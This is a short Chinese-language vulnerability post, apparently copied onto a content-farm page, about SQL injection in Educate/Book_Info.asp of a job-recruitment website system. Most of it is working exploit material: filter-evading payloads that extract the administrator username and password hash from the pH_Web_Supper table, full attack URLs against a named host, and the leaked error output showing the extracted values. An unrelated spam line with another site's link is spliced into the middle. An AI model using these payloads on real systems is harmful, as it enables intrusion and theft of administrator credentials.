漏洞出現(xiàn)在Educate/Book_Info.asp
此處注入點雖然過濾了一些關(guān)鍵字 但是我們還是可以盲注的 可以利用sqlmap跑出
exp：如下
查詢管理賬號：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
查詢管理密碼：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
將 nvarchar 值 'hackbase' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤，
網(wǎng)絡求職招聘人才網(wǎng)站系統(tǒng)正式版漏洞漏洞預警
，電腦資料
《網(wǎng)絡求職招聘人才網(wǎng)站系統(tǒng)正式版漏洞漏洞預警》(http://m.lotusphilosophies.com)。/Educate/Book_Info.asp，行 8
http://jobs.0day5.com/Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
將 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。
/Educate/Book_Info.asp，行 8